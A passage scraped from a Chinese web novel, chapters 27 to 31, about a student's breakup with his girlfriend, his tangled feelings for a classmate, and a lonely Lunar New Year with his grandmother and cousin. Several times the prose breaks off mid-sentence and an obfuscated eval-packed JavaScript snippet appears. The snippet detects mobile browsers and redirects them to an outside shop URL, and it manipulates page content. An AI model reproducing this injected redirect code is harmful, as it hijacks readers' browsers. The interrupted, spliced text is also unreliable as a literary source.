“外面冷,你穿这点衣服行吗?” 打开车门,呼啸的寒风愈加肆意,冬日的阳光似乎在冷风里起不到什么作用,寒冷才是冬天的主基调。 我脱下身上的外套,只留了一件羊毛衫打底,将衣服递给相黎示意她披在外面。 “我没这么脆弱,你穿好,不用担心我。” 拒绝了我的好意,相黎拉紧身上的外套,带着随身的包上前。 才发现,她这次过来除了一个小皮包,什么也没带。 …… 饭后。 相黎说要开车去合肥取些衣物,我将车钥匙还给他,问要不要陪她一起,她让我继续打牌,她想一个人静静。 尽管我很不放心她现在的状态,依旧留出空间给她,没有多说什么。 直到目送她的车子驶出了我的视线,我才木然回过神来,朝着棋牌室的方向走去,此刻我早已没有了打牌的兴致,心里像是揣了一只不安分的兔子,充满了对她的担忧。 没走几步路,相黎打电话过来。 电话里她的声音如同寒冬里的冰棱,又冷又硬又决绝:“顾懿,我们……做回普通朋友吧……” 一阵风从耳边呼啸而过,我怕是自己听岔了,又或许耳朵明明已经听得很清楚,内心深处不愿意接受,我问道:“你刚才说什么?” 电话那头未传来她的声音,却依稀可以听到街道上汽车尖锐的鸣笛声此起彼伏,半晌,她终于重复一遍:“做回普通朋友吧……我们不合适……” 这句话犹如一记重锤,狠狠砸在我的心头,瞬间抽空了我全身的力气,双脚仿佛被铅块死死拖住,无法挪动分毫。 “你又在发什么神经,先冷静一点好不好?” 我近乎哀求地想让她收回说出的话。 “我很冷静,刚才吃饭的时候我想得很清楚了,和你在一起时,我就是单纯把你作为坏情绪的垃圾桶……现在,我已经没有什么情绪想宣泄了……我一直坚守的东西已经碎成一地,年后爸妈应该就会领离婚证……” 她的声音颤抖得愈发厉害,每一个字都像是从破碎的心底挤出来的,稍作停顿,接着说道:“等过完年,我想申请出国,继续学音乐,找回自己,我不再为谁而活,不会再为谁舍弃自己……” “我可以等你……” “还不明白吗?我不需要你了……傻瓜!” 她的声音带着哭腔,却又异常坚定。 “不……需要……我……了?” “顾懿,你是个很好很好的人,祝你幸福,以后不要把感情浪费在像我这样冷漠的人身上了!” “你现在头脑不清楚,我不和你说。” “挂了,就这样……” “别挂!什么就这样?说什么做普通朋友,我们这样还有普通朋友做吗!说分手就说分手,这么委婉干什么,怕我接受不了?既然想分手,那就把彼此所有的联系都断了,我们除了是爱人没有其他的关系可以选择!” “好。” 她绝情地挂断了电话,冰冷的“嘟嘟嘟”声仿佛是来自手机的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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为什么不是她?她真就如此狠心把我孤身一人扔在这里吗?我的心在痛苦地呐喊,眼眶止不住湿润。 今天的风也太大了,把我的眼睛都迷了…… 第27章 雀坛新星 电话是老顾打来的,他怒气冲冲地质问我为什么不听话,又把相黎的车子开出去了。 我很想告诉他,以后再也不会开她的车出去了,她的车回归到了属于自己的轨道,只是在我这儿暂放而已。 狠狠努了努鼻子,喉咙像是被一团棉花堵住,只能重重地咳嗽了两声,竭尽全力地掩饰着,生怕老顾从电话那头听出我声音中的异样。 我告诉老顾,开车出来就是为了把车还给相黎。老顾很吃惊,相黎行事一贯天马行空,他也没有多问。 老顾态度缓和,让我尽快回老家祭祖。 小年过后,直到正月出元宵节,早中晚都要祭祖是我们家乡的习俗,尤其是晚上祭祖最为隆重。 …… 老顾驾照被吊销,终身禁驾,他骑着电动车从城里接我回乡下老家,一路上,他竟意外地只字未提相黎车子的事,始终保持着沉默。 或许是因为年底回乡的人众多,烟酒茶作为送礼应酬的紧俏货,让他这些天都在马不停蹄地忙着送货,根本无暇分心来管我的事。 回到家后,他一眼看到虞寒艳那辆扎了钉子的电动车,先是一愣,随后竟被气笑了,伸手指着车问道:“刚把那辆大金刚送出去,又给我弄来一辆小白兔?” “同学骑车过来玩,车扎钉子了,明天我找人过来修,把不该咱家的东西全给人家还回去!” 我闷声回应着,进门后,径直走进房间,将房门反锁起来,整个人如一摊烂泥般瘫在了床上。 …… 打开手机,想确认她是否真的已如绝情的刽子手般,斩断了与我所有的联系,删除了我的微信和其他联系方式。 然而,并没有。可这丝毫没有给我带来哪怕一丁点的慰藉,反而让我陷入了更深的迷茫之中,不知这残留的联系,是她的不忍,还是彻底遗忘前的暂时搁置。 熄灭手机扔在床上,短暂地闭上眼睛,过往的回忆犹如洪水猛兽般冲进我的脑海,猛烈撞击着我的每一根神经。 “叮咚!” 一声微信提示音响起,我猛地翻过身,解锁屏幕,想知道是不是她的信息。 依然不是她,而是虞寒艳和我汇报她下午的战果,我竟然忘了虞寒艳一直在牌桌上接替我战斗。 “顾懿,你一下午都没回来,害我输光了,你必须给我报销!” 我走的时候,筹码应该很平,最多输了几十块钱。 “输了多少?” “输光了……” “真是败家娘儿们!” 我忽然意识到说法有些不妥,急忙撤回信息,生怕引起不必要的误会。 撤回信息后,我微信上给她转了400块。出乎我意料的是,她没有收,而是把转账退回。 “骗你的啦!我赢了,没想到吧!” 接着她给我发了几张转账截图,单方面地入账。虞寒艳这个菜鸟能赢已经算是走运了,更离谱的是胡成文这个老鸟输给她最多。 “老实交待,你是不是扮猪吃老虎,你赢高曦能理解,胡成文怎么会输给你,你出老千?” “谁出老千?本小姐天赋异禀,是雀坛一颗冉冉升起的新星!” 我释然地笑了,麻将这东西,即使技术再好也会输,就算毫无章法也能赢,这份不安和期待交织的情感,正如她在我的世界里若即若离,把握不住。 “新手保护期,乱拳打死老师傅,新星还需要看我牌商量战术?” “轮胎钱赢到手了,明天赶紧给我修车,我妈就指望着这辆车买菜呢……” …… 深夜,我躺在床上辗转难眠,怕睡着了会错过相黎的信息。 毕竟一个人在夜里最感性,最能看清自己内心深处的真实想法,不像在白天那样时刻保持理性,考虑任何事情都要反复权衡利弊。 多么希望她趁着感性时刻,能够不再逃避,勇敢直视自己内心,直视我们这段感情,最后像以前那样坚定地告诉我:“有你在,我就有勇气面对全世界!” 终究还是没有等到她的消息。 …… 许久,我快要失去等待的耐心,终于有条信息进来。 我坐起身,依旧是空欢喜一场,是胡成文问我睡了没有。 “还没睡……胡总,怎么今天老马失蹄睡不着啊?” “你觉得我这技术会输给那三个菜鸡?牌桌上不是打打杀杀,是人情世故!” “输了就是输了,还得练!” “我输了我乐意……对了,问你件事,虞寒艳和你关系咋样?” “应该挺不错的。” “那就行!帮兄弟撮合一下,寒艳一直是兄弟心里的白月光……” “所以你今天牌桌上和她勾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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放弃了研究生深造的考试机会,最终却没能在和我的爱情里看到希望。 说到底,我还是让她失望了…… 点了一支烟,猛吸一口,任由烟雾吸进肺中,顺着鼻息循环出来。透过烟雾,依稀看到了自己那无聊又荒诞的青春,还有弥漫在烟雾中的,消失殆尽的热情,连着和她的回忆,全都揉碎后一起飘散在这股烟草浓雾里面。 第28章 看清现实 坐在房间昏暗的角落里,我看着打火机上微弱的火苗跳跃了一次又一次,烟吸了一支又一支,就好像看见自己反复点燃又转而熄灭的心。 烟在指间燃烧,烟灰渐渐变长,摇摇欲坠。我不在乎烟灰是否会掉落,不在乎这烟是否会烧到手指,我只知道,此刻只有它能陪伴我。 令我动容的是,香烟似乎感受到了我濒临破碎的那颗心,烟嘴除了给我传递尼古丁,还有阵阵甜味,试图用甜味安慰我。 炫赫门香烟的烟嘴是甜的。 舔了舔嘴唇残留的甜味,连它都这么有人情味……我再也止不住眼泪,弄不清是不是烟恰巧飘进了眼睛。 肯定都是烟在作祟,我把一切的错误都推给了它。这样,泪水涌出来的瞬间,就不必再管那不值一提的自尊心了。 狠狠地吸了最后一口,我将烟蒂扔在地上踩灭,连同着对相黎仅存的期待也一同踩灭。 睡觉前,想给她微信发最后一条消息,这瞬间不知道为什么,突然有说不完的话,我在聊天框编辑了很长一段话,想告诉她一定要照顾好自己,不要被悲伤蒙蔽双眼,因为我现在很担心她。 酝酿半晌,最终我还是默默删除了编辑好的一大段话,只简单发了一句话。 “如果幸福太难,那就祝你平安。” …… 清晨。 第一缕阳光想穿透进来,窗户却布满了厚厚的一层霜,委婉地拒绝它的主动。 明明昨晚睡得很晚,一大早我却出奇地清醒,我睁眼侧卧在床上,透过模糊的霜花,隐约看着窗外面的树木在寒风中发抖。 …… “咚咚咚!” “咚咚咚!” 一阵敲门声打破我的冥想。 “赶紧起来,有同学来了!” 奶奶几十年如一日起得很早,但她从不会放假一大早敲我的门。 穿好衣服,简单踩着一双棉拖便出了门,我看着眼前的两个人愣住了。 胡成文原地踱步,两只手不停地搓着,身边还站着一个四十岁左右的中年男人,左手拎着工具箱,右肩挎着一条电动车轮胎。 本以为他说着玩玩的,没想到真一大早就领着修车师傅过来给虞寒艳修车。 看到我出来,他欣喜万分,迫不及待询问我车子在什么地方,丝毫不在意我穿着拖鞋到底冷不冷。 “胡总,你来真的?” “你看我像假的吗?这个师傅可是我大清早花了三十车费请过来的……愣着干什么?赶紧把车推出来!” “补个胎五块钱就够了……” “换,必须换!还补啥,又不是没那个条件……” …… 我和胡成文站在门口,看着修车师傅噼里啪啦对着虞寒艳的车一阵倒腾。 忽然,他像是想起什么,问道:“哎,你女朋友昨天不是过来了,还在屋里睡觉?” 我摇摇头,没说话。 “没住家里?在城里住酒店?也是,听寒艳说,你女朋友是个富婆,住酒店也正常,你应该陪着一起,她一个人住酒店多寂寞……” “分了。” “什么鬼?这么突然!你骗我的吧……” “就是这么突然,和做梦一样……我宁愿相信是我没睡醒,做了个梦,可是现在你哈着热气站在我面前,说明不是梦……” 别说是胡成文不相信,我自己都接受不了这个事实。明明昨天早上她还在和我视频开着玩笑,才过了一天就形同陌路。 “她昨天千里迢迢过来就是为了和你分手?” 我沉默着点点头,不想在这个话题上过多纠缠。 “听说你们感情很好,怎么分得这么莫名其妙?” 胡成文的喋喋不休让我的心跟着外界环境一起降到了冰点,我一句话也没说,任凭他不识趣地追问。 …… 车修好后,我把还车的任务交给胡成文,继续回房间睡觉,死在青春的坟墓里对现在的我来说未尝不是一种解脱。 看了一眼手机,依旧没能等到相黎的一句回应,于是我直接把手机关机,一头栽进被窝。 …… 我将一天的时间都葬在了床上,期间除了吃饭就没离开过房间,奶奶不时地进房间叫我出门活动身体,都被我用天冷的理由搪塞了过去。 失去了相黎,我惊觉发现大学四年自己除了一张毕业证什么也没有得到,反而一直在失去。相黎在的时候,我还能用她来安慰自己,毕竟自己获得了一份爱情,即使这段爱情亦即亦离。 临近毕业,一切终究都成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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奶奶见他越来越激动,盖好我的被子,急忙把老顾推出去,关上了房门。 她坐在床头边,轻轻拍了拍我,似乎是察觉到近些天我情绪不对,温声道:“你还小,有什么坎儿过不去……赖在床上,日子不过啦?” 这些天我情绪早已平复,很多事情已经都想通了,本以为不会再有波动,可是一听见奶奶的温柔劝解,眼泪在这一刻再也绷不住往下直流。 第29章 薄情之人 人就是这么奇怪,难过的时候希望有人懂得自己,可真有人过来暖心安慰,伪装出来的坚强却又不堪一击。 奶奶的安慰让我泪腺一度失控,这些天压抑的情感,仿佛找到了一个宣泄的出口。 害怕她瞧见自己这副哭泣、懦弱的模样,我赶忙将身上的被子往上拽,一直盖到眼睛以上的位置,躲在被窝里,极力调整着自己情绪。 一个人的时候,怎样都好,可在亲人面前,万万不能露出脆弱。 “前些天和朋友玩累了,容易犯困睡了几天……奶奶,你先出去吧,我收拾下马上出来……” “好。” 奶奶没有再做停留,转身出了房间。 用被子擦干了眼角的泪水,我整理好情绪,穿好衣服打开房门,却意外地发现奶奶就静静地站在门外,并未离开。 我赶忙佯装出一脸困意的模样,打了个哈欠,企图用这个哈欠来证明我眼角的湿润并非因为哭泣,而是打哈欠时产生的正常生理反应。 奶奶没有多说什么,掀了掀我的衣领,帮我卷起羽绒服后凹陷的帽子,细声道:“去洗把脸,把胡子光光,年轻小伙子搞得比你爸还沧桑……” “收拾好,出门走动走动,我先去了!” …… 过年期间其实我很不愿意出门和周边邻居们聊天,他们往往都是三句不离钱,四句走不出结婚生子。只要我出现在他们的视野里,不可避免地就会被当作谈资,甚至成为同龄人的比较对象。 最大的感受就是认知上的冲突和碰撞。周边从小玩到大的朋友,有的人在读书,有的人在外面打工,甚至有的已经结婚生子,最大的二胎都已经好几岁,他们的长辈就会根据自家孩子的情况,挑好听的说。 并且,他们说什么我都要听着受着,不能反驳,反驳就很容易被指责成不懂事,书白读了。 所以我到现在依旧不明白,不惧人言的底气到底是什么……是兜里有钱?是好看的脸?还是其他什么东西? …… 为了不让奶奶担心,我乖乖跟着她,在家门口附近瞎晃悠,遇到熟人就礼貌性地打个招呼。 不出所料,有奶奶和我加入“战场”,人们聊天的话题很快便转移到自家孩子的学习上,夸自家孩子在学校里拿了多少奖学金,是怎么兼职赚生活费不让自己操心的…… 我默默听着,从不反驳,而是在一旁打开了这些天一直关机的手机。 微信上的几十条未读信息铺天盖地地炸开,我一条条地滑动着。 关机的这段时间,高炜喊我开黑打游戏,顾嘉问我手机为什么关机,虞寒艳和胡成文接连几天都在叫我出去打麻将,还有班级群里我让我加入毕业论文的小组群……就连未接电话都有好几个,无一例外都是虞寒艳和顾嘉打来的,一天好几次。 唯独没有相黎的任何信息,她好像真从我的世界消失了,除了躺在通讯录的联系方式,不留其他一丝痕迹。 今天已经腊月二十九,明天就是除夕,也不知道她是否已经冷静下来,回到了家人身边过个团圆年,即便这对她来说可能是最后一个团圆年……我只能暗自祈祷着她不要耍性子,用伤害自己的方式惩罚家人。 那样,也是在惩罚我。 …… 按班级群里的要求加入毕业论文微信群后,我给虞寒艳发了条信息,问她这麻将是不是非打不可,发消息还不够,需要每天打个电话。 片刻之后,便收到了她的回复。 “还没死啊?” “死过一次,看30秒广告复活了……” “怎么样,终于想通了?” 她多半已经知道了我和相黎分手的消息,这件事我只和胡成文透露过,他这些天为了和虞寒艳套近乎,聊天话题一定是围绕着我展开,毕竟他们俩能聊下去的话题除了高中生活,就是我这个共同好友。 “这有什么想不通的,我一直是个薄情的人,分了不就分了?” “被甩了吧?某个人不会一连几天都茶不思饭不想,晚上睡不着觉吧?” “呵,那你想错了,我从没像这几天睡得好。” “那就好,对了,我把修车的钱转给你,前几天的转账超过24小时你没领自动退回了。” “车不是我修的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039919|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡成文出钱又出力,你应该感谢他。” “车停在你家,为什么是他出钱又出力?” 或许胡成文不好启齿,没有告诉她事情原委,把修车的功劳推到了我身上。但是白白领了胡成文的人情,我心里过意不去,于是我将胡成文起早带修车师傅过来修车的事情始末,一五一十地说与她听。 思索半晌后,她问:“什么意思?” “这还听不明白?那小子对你有意思……” “我说你什么意思?” “没什么意思,牵线搭桥而已。” 信息发送过后,却迟迟不见她的回应。 许久过后,她发了条语音过来:“你牵哪门子线搭哪门子桥?!你做好人有没有问过我的意见?女人在你们眼里是什么?哄骗的对象吗?顾懿,你的的确确是个薄情的人!” 这些天把自己关在房 间里,我不仅理清了和相黎的感情线,同时也对跟虞寒艳不明不白的关系有了个更清晰的认识。 我们两个人明知道不可能在一起,但还是忍不住想要靠近对方,虽然会默契地避开敏感的话题不谈。 暧昧,它不一定是爱情的前奏,但绝不该是拖很长的歌仔戏。虞寒艳或许因为相黎的存在从不明确表示,但我绝不该一直拖着,厚着脸皮享受她的好。 我不能对自己的痛苦敏感至极,对她的感受却麻木不仁。 想到这儿,我回复她道:“你们到现在才看清我吗?我向来寡情至极,很少会去真正考虑别人的感受,只是想借着给出一点爱而获得更多的爱,和撒饵料钓鱼一个道理。” “真够贱的,难怪相黎会甩掉你!” 人和人越熟,越知道刀子往哪里捅越痛,她的话犹如一把锋利的剑,无情地刺向我尚未愈合的伤口,而后便没有再发消息过来。 周围人群正互相交谈得火热,我这边的聊天却陷入了冰点。 彼此袒露心声的时候,离别便开始倒计时,和相黎是如此,和虞寒艳亦是如此。 就在这一瞬间,我连风的味道都闻到了,自由的、干燥的、凛冽的北风,风里有我飘散的青春。 第30章 有你足够 趁着奶奶和其他人交谈的时候,我默默走到没有人的角落,这个角落位于院子的一隅,周围是斑驳的土墙,上面爬满了岁月留下的痕迹。墙角处,几株枯黄的野草在寒风中瑟瑟发抖,干枯的树枝像一双双伸向天空的绝望之手。 点上了一支烟,深深地吸上一口,尼古丁顺着喉咙钻进肺里,然而,更多的却是冰冷刺骨的冷空气。 抽着烟,我顺手给顾嘉回了个电话。 我在电话里问她的近况,却避而不谈自己的窘境。交谈之间,我能感受到顾嘉正用着自己期待的方式活着,她研三期间已经在一家大公司找了实习,毕业后进公司是稳稳的。 她终于还是问起我:“研究生上岸没戏了,做好找工作的准备了吗?” “呵,我这专业找什么类型的工作?去工地上打灰吗?” “车到山前必有路,还有半年,你在学校多留意,我也帮你多问问,不着急……你还小,想找到自己的最佳位置往往不是容易的事,总是需要一定的时间,这个过程,是不能不付出的一种人生试错成本……” “搞得你比我大多少一样……” “小屁孩,我比你大一天,你也是我的弟弟!……趁年轻!年轻的试错成本并不高,错了还可以改,不敢试错,其实就是在禁锢自身的可能性……人生没有无用的经历,走过的每一步,都算数……” “行了行了,最怕听这些大道理了!还是让我自己慢慢试错吧,反正已经错这么多次了……” “真拿你没办法……对了,手机关机这么多天,新年衣服一定还没买吧?” 听她这么一说,才恍惚发现买新年衣服这事儿早被我抛之脑后了,可现在到年底,快递早就停运,买衣服只能去实体店里看看了。 听出我的吞吞吐吐,顾嘉叹了口气,说道:“明早我开车从市里过去,带你去县城逛逛,希望年三十的服装店没关门……起早点,记住没!去晚了,肯定都关门回家了……” …… 如顾嘉说的一样,一大清早她便开着她家的车载我去城里,更是不辞辛劳地为我精心挑选,从鞋子到服装,为我买了整整一套鞋服。我悄悄记下了所有的价格,准备也送她一件新年礼物。 我拎着两个包装袋,和她并肩缓步走着,眼看前面不远处就是中业广场,我加快步伐走在她的前面,引领着方向。 “姐,咱们到前面的金店看看!” “怎么,想给女朋友买份新年礼物?我给你参谋参谋!”顾嘉的眼角弯成了一道月牙,调侃道。 她只知道我在大学里谈了对象,却不知在新的一年尚未到来之前,这段曾经充满憧憬与甜蜜的爱情,就如同凋零的花朵,早已在旧年的寒风中零落成泥。 …… “你看这条项链怎么样?”顾嘉指着一条镶着钻石的项链问道。 “太华丽了,不太适合。”我摇了摇头。 “那这个手链呢?”她又拿起一个精致的手链。 这时,店员走了过来,热情地说:“两位,我们店的这款手链是和田玉搭配天山翠,寓意‘命中竹定我爱你’,竹花一生只开一次,如我只爱你一人,一生‘有你竹够’!您女朋友如此天生丽质,送她这款手链简直再合适不过了!” 顾嘉的脸上瞬间泛起一抹红晕,连忙摆手说道:“寓意很好,但我是他姐姐……” 我问:“姐,你谈男朋友了吗?” 她端详着手中的和田玉手链,随口答道:“没。” 我二话不说,一把夺过手链,牵起她的手,迅速将手链戴在了她的手腕上,坚定地说道:“一生有你足够,就这个了!” “你这是?!”顾嘉的脸上写满了惊讶。 她急忙想摘下手链,可被我紧握住的手,无论如何也挣脱不得。 “本来就是给你买的,不许摘!本来还怕未来姐夫吃醋,现在正好……” 顾嘉还想再说什么,在我的万般坚持下,最后还是选择戴在了手上。 “顾懿,你还真是多情啊……” 一阵不合时宜的声音在我背后响起,声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039920|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音的主人我再熟悉不过,是虞寒艳。 “寒…寒艳……” 虞寒艳此刻正与一位气质端庄典雅的中年妇人相伴而立,那人我自然是认识的,那是她妈妈,高中时托她妈妈的福,我在学校吃了不少次免费食堂。 “老师好!” 我毕恭毕敬地向她妈妈问好,顾嘉则站在我的身旁,不住地点头,脸上陪着笑意。 “小顾,好几年没见着你了,经常听寒艳提起你,你们两个也真是有缘,大学还能做同学……” 虞寒艳妈妈笑道,她一边说着,一边目光柔和地打量着我,随后又将视线转向了我身旁的顾嘉。 “是啊,和寒艳有缘,大学里承蒙她不少照顾,期末考试多亏有她的辅导……寒艳都是继承了您的优良传统……” 虞寒艳在一旁像是没事人一样,一言不发,使得我和她妈妈的寒暄显得有些尴尬。 我看了一眼神色冰冷的虞寒艳,背后一阵冷汗,还是挤着笑容对她妈妈说道:“阿姨,忘了和您介绍……这位是我姐姐,今天和她来店 里看看有没有合适的……” 这时虞寒艳冷不丁轻声冒了一句:“谁需要你解释……”说完就走向别处的柜台,挑拣着钟意的首饰。 我感到些许无语,一句再正常不过的介绍在她耳中却听成了解释,我又没做亏心事,有必要和她解释什么吗? 顾嘉见状,笑着出言缓解道:“老师好,顾懿高中承蒙您教导啦!” 一阵场面上的寒暄过后,店员将打包好的礼盒送来,我便匆匆拜别虞寒艳妈妈,拉着顾嘉出了门。 …… 路上。 顾嘉似笑非笑地问我:“你这么急着出来,是不是什么地方得罪人家小姑娘啦?” “没有的事,她就这样,神经一直很大条!” “这样啊……” 顾嘉若有所思,接着问道:“你给我买新年礼物,你那个小女朋友呢?给她准备什么了?” “已经分手了……” 第31章 记忆里的烟火 在相黎提出分手之前,我总是患得患失,在感情里摇摆不定,真到了分手的时刻,接受不了现实的那个人却又是我。 我下意识从口袋摸出烟,点上了一支。 深深吸了一口烟,我猛然意识到自己不能再装模作样地拥有很多朋友,而是必须重新回到孤单之中,以真实的自我开始独自的生活。 “小屁孩,上大学什么也没学会,光学会抽烟了?” “劝我戒烟?” 顾嘉摇了摇头,担忧道:“都到要‘戒’的地步了,劝你戒烟没效果,反而会激发你的逆反心理……” 我笑了笑,没有说话。 抽完了这支烟,我用尽全身力气呼了一口气,叹息道:“姐,你看我现在两袖清风,只不过是又回到了最初一个人的状态,这么多年过去,我早就麻木了……大学里多了个人来陪我,到头来才发现我和她都只是个孤独的人,依偎在一起抱团取暖罢了……” 和相黎在一起的时候,恨不能把她变成自己身体的一部分,她刚说冷,我这边心里已经结冰了,她说难过,我立马如丧考妣,比她还难过,唯恐无法将自己的爱意表达出来。 而事实上,我根本无法承担起她的价值寄托,她的精神世界一崩塌,我就像摔在地板上破碎的瓷片,拼凑不出一个完整的自我。 或许是自己还没能力成为一个独立、有价值的人,也没真正学会去爱另一个人。所以我不断地告诫自己不要试图去改变她,这注定是徒劳的,做自己就好,不要做一些没必要的追逐和依附以及自我感动。 “最忘不了的那个人,多半就是那个曾经让你摆脱孤独感的人……你感情上的事,我不会多问,这是你人生的必修课,我也给不出标准答案……” …… 顾嘉开车将我送到了老家边上,和来的时候一样,并没有回家看看,而是将车停在了很远的地方。 我坐在副驾,看着远处的家,问道:“为什么不回去看看,奶奶一定很想你!” “大过年的,就没必要徒增伤感啦……” 话音刚落,她从车子储物柜抽出两个红包,塞到了我的手上,道:“一个给你,另一个帮我带给奶奶,提前祝你们新年快乐!” 然后她迅速侧过头去,注视着窗外,让我无法看清她脸上的神情。 车外是一片萧索的景象,光秃秃的树枝在寒风中颤抖,枯黄的草丛在路边倒伏,远处的村落里偶尔传来几声零星的鞭炮声,更增添了几分寂寥。 我用一个不适合的比方打破了车里的沉闷:“那本就是我们的家,现在我们俩出来搞得就和偷情一样……” “说什么呢!” 顾嘉激动地回过头来,掐着我的脸,说道:“不许和姐姐开这种玩笑!我回去了,家里人还在等我……” …… 大年三十,是一年中最温馨的时刻,在这一天,过去一年里所有的伤痛都可以被忘记。 年夜饭后,老顾和奶奶在房间里看春晚,我独自坐在屋顶的阳台抽着烟,凝望着远处此起彼伏绽放的烟火。 把玩着手中的打火机,我想起小时候,家里的烟花再多,也留不到除夕,我总会迫不及待地抢着提前将它们放掉。 透过远处的绚烂烟火,我看到了以前新年的夜晚。 那时候我还小,爷爷也还健在,他和奶奶为了准备一桌丰盛的年夜饭,会忙活上一整天。为了吃这顿年夜饭,我和顾嘉都是特意饿了一天,空着肚子到晚上才会放开地吃;为了在年夜饭上得到爷爷的压岁钱,我都会提前背诵一大段吉利话;拿到红包后,我最渴望的就是拽着还在吃年夜饭的爷爷,出门放烟花。 那时候,总觉得没有东西比除夕夜的烟花更美。 回忆是寒冬中最为刺骨的风雪,任温暖的阳光怎样照射,无疑,都穿过不了那面叫作时间的墙。 如今的我,早已没有了当初放烟花的那份欲望,那个给我点燃烟花的老头,也终于随着记忆里的绚烂烟火一起永远消失在了茫茫夜空中。 本应该是用来点烟花的打火机,此刻在我手里的唯一用处,竟然只是为了点燃一支烟。 在周围烟花绽放的余光下,我看着手中的打火机入了神,我深深地希望,那个老头能冲到我身边,把我手里的打火机夺走,并训诫我说小孩子不能玩火。 这一刻,我突然很想他。 长大是一个充满矛盾的过程,不断得到,也在不断失去。我失去了一个除夕为我点烟花的老头,失去了一个完整的家,失去了一个为我放“手动烟花”的女孩,就连那个寂寞时会为我送吉他的朋友也被我狠心推开…… 我不知道自己究竟得到了些什么东西,是孑然一身的一副躯壳,还是寂寞时点上的一支烟? …… 抽完一支烟,我下意识从口袋摸出仅剩的半包烟,毫不犹豫又续上了一支。 浏览着微信里好友清一色的新年祝福语,我未作任何回复,微信群里的各种新年红包,我也没有去抢的欲望。 只单单眺望着眼前绚烂而又寂寞的新年焰火,我不想和其他人有过多交流, 在这个热闹非凡的除夕夜,我似乎是个 与世界格格不入的怪人。 烟抽了一支又一支,直到烟盒空了,我才意识到不能再抽了,香烟是披着天使外衣的魔鬼。 想唱首歌,我回房间拿上吉他,回到阳台上拨弄起来。 吉他是靠近心脏的乐器,抚摸着它的面板和六根琴弦,我的心突然安静。这把陪伴我十年的吉他,世界上没有人比它更了解我的感受,我开心的时候,它也会跟着开心,如果我感到悲伤,它也会跟着啜泣不止。 就连我最缺钱的时候,也是它陪着我去酒吧赶场子,赚点微不足道的碎银补给生活。 但我学吉他是为了取悦自己,我从未想过抛头露面去演出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039921|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我只想,在某个寂静的时刻,轻轻拨弄琴弦,为自己唱首歌。 比如现在。 打开手机,摆放好琴谱,我想唱给自己的歌是《最好的时光》。 “昨天的烦恼,今天想开了吗?喜欢的人,他们留在心底,还是依在我身旁?每天离开了家,再回去时有没有新的挣扎?……成长后来是礼物,或只是美丽的包装,记忆中的青春,梦里仍像盛夏的扶桑,亲爱的,你想念我吗?亲爱的,你想念自己吗?……” 唱着这首歌,就好像梦醒时分,又回到了从前,遇见彼时懵懂的“我”,那个渴望被理解的“我”,然后和他诉说着我现在的心事,告诉他大步向前走吧,不要怀疑自己,不要患得患失,只做自己认为对的事情。 唱完之后,我按住琴弦,怔在了原地,就像歌词里写的那样,最好的时光,哪儿还有啊? “唱得真好听……” 刚才有点入神,丝毫没有发现奶奶在后面。 “奶奶,你什么时候来的,怎么不在下面看春晚?” “你还没开始弹的时候,我就在了,你爸让我上来叫你放烟花,我瞧你准备唱歌,就没打扰你……唱得和电视上的明星一样,看我孙子多有本事!” 有人弃我如杂草,但她视我如珍宝,我苦笑,自嘲道:“弹把破吉他算什么本事,又不能当饭吃!” “你以前可不是这么说的……刚开始学吉他的时候,你爷爷说你不把重心放到学习上,弹吉他不能当饭吃……当时你可激动了,反驳得你爷爷一句话讲不出来……现在怎么变得也和你爷爷一样老古董,弹吉他有什么不好?我觉得挺好的……” “或许爷爷说得是对的……” 我叹了一口气,说道:“下去放烟花吧,一年只有这一次机会……” 